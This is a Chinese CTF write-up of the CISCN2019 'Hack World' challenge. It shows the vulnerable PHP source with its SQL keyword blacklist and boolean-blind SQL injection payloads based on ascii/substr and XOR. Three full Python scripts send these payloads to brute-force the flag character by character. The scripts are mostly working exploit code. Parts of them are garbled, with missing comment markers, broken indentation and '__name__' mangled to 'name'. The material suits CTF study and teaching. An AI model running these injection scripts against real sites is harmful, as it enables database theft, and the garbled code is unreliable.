[CISCN2019 华北赛区 Day2 Web1]Hack World

知识点：题目已经告知列名和表明为flag，接下来利用ascii和substr函数即可进行bool盲注

eg:

id=(ascii(substr((select(flag)from(flag)),1,1))<128)

0x01

看了网上的源码发现：

<?php
$dbuser='root';
$dbpass='root';
function safe($sql){
#被过滤的内容 函数基本没过滤
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False; } } return True;
} i
f(isset($_POST['id'])){
$id = $_POST['id'];
}else
{ die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass); i
f(!$db){
die(mysql_error()); }
mysql_select_db("ctf",$db);
if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){
$result = mysql_fetch_array($query);
if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
} }else{
die("SQL Injection Checked."); }

过滤了一堆东西，可以看到很多函数没有过滤，

接下来就想办法借助函数构造注入就可以了。

借助substr函数截取flag中的内容，长度依次增加。用if函数判断截取出来的内容是什么，这里需要穷举。如果判断成功，返回1，否则返回2。

0x2解题

贴上wp脚本

import requests

import time

url是随时更新的，具体的以做题时候的为准

url = 'http://40c9be7a-36f0-4e80-94ca-d1ac9e121947.node1.buuoj.cn/index.php'

data = {"id":""}

flag = 'flag{'

i = 6

while True:

从可打印字符开始

begin = 32
end = 126
tmp = (begin+end)//2
while begin<end:
    print(begin,tmp,end)
    time.sleep(1)
    data["id"] = "if(ascii(substr((select       flag        from    flag),{},1))>{},1,2)".format(i,tmp)
    r = requests.post(url,data=data)
    if 'Hello' in r.text:
        begin = tmp+1
        tmp = (begin+end)//2
    else:
        end = tmp
        tmp = (begin+end)//2

flag+=chr(tmp)
print(flag)
i+=1
if flag[-1]=='}':
    break

0x03 解法二

看的网上的wp还有一种解法是通过异或

在爆flag的时候发现有过滤 :select,show,""……很是难受，后来在师傅的博客上看到了这种方法：

id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))

附上脚本爆破

#!/usr/bin/python
#-*-coding:utf-8 -*-
import requests
import re

def flag_get(start,f,url):    #确定start位的字符
	a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))='+str(f)+'),0,1))'
	data = {'id': a }
	url = 'http://76333ea2-9071-468b-ad3c-930e98a4ead2.node1.buuoj.cn/index.php'
	r= requests.post(url, data)
	s=r.text
	#print(s)
	if 'Hello' in s:
		return 1
	else:
		return 0

def flag_find(start,f,url): #确定
	a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))>'+str(f)+'),0,1))'
	data = {'id': a }
	url = 'http://76333ea2-9071-468b-ad3c-930e98a4ead2.node1.buuoj.cn/index.php'
	r= requests.post(url, data)
	s=r.text
	#print(s)
	if 'Hello' in s:
		return 1
	else:
		return 0

if __name__ == '__main__':
	url = 'http://76333ea2-9071-468b-ad3c-930e98a4ead2.node1.buuoj.cn/index.php'
	flag_kouhao=125
	flag=''
	num=1       #从第num位开始爆破
	while 1:
		start=32   #ascii的起始范围（10进制）
		last=126   #ascii的终止范围（10进制）
		mid=int((start+last)/2)
		while 1:
			if(flag_get(num,flag_kouhao,url)):
				flag=flag+'}'
				print('flag     is    :'+flag)
				exit(1)
			print('strat is '+str(start))
			print(' mid  is '+str(mid))
			print('last  is '+str(last))
			print('****************************************')

			if(flag_find(num,mid,url)):
				start=mid
				mid=int((start+last)/2)
				if ((last-start)<5):
					break
			else:
				last=mid
				mid=int((start+last)/2)
				if ((last-start)<5):
					break
		print(start)
		print(last)
		print('****************************************')
		for i in range(start,last+1):
			print(i)
			if(flag_get(num,i,url)):
				f=chr(i)
				flag=flag+f
				print('****************************************')
				print(' num is '+str(num))
				print('char is '+f)
				print('flag is '+flag)
				print('****************************************')
				break
		num=num+1
	print(flag)

exp2：

coding:utf-8

import requests

from lxml import etree

def a():

url="http://b995ff2b-d867-4580-80c2-3fd1e4b25cb4.node3.buuoj.cn/"

flag="Hello, glzjin wants a girlfriend."

final=""

stop=0

for i in range(1,1290):

print(""50,i,""50)

stop=0

for j in range(32,129):

stop = j

data={"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" %(i,j)}

re = requests.post(url=url,data=data).text.replace('\n','')

html = etree.HTML(re).xpath("//text()")

# print(">>",html)

if flag in html:

final+=chr(j)

print("\n\t\t\t\t",final)

break

     if stop >= 128:
        print("*"*50,"结束")
        print(">>",final)
        break

if name == 'main':

a()

参考链接

https://www.cnblogs.com/kevinbruce656/p/11342580.html

https://blog.csdn.net/weixin_43345082/article/details/99062970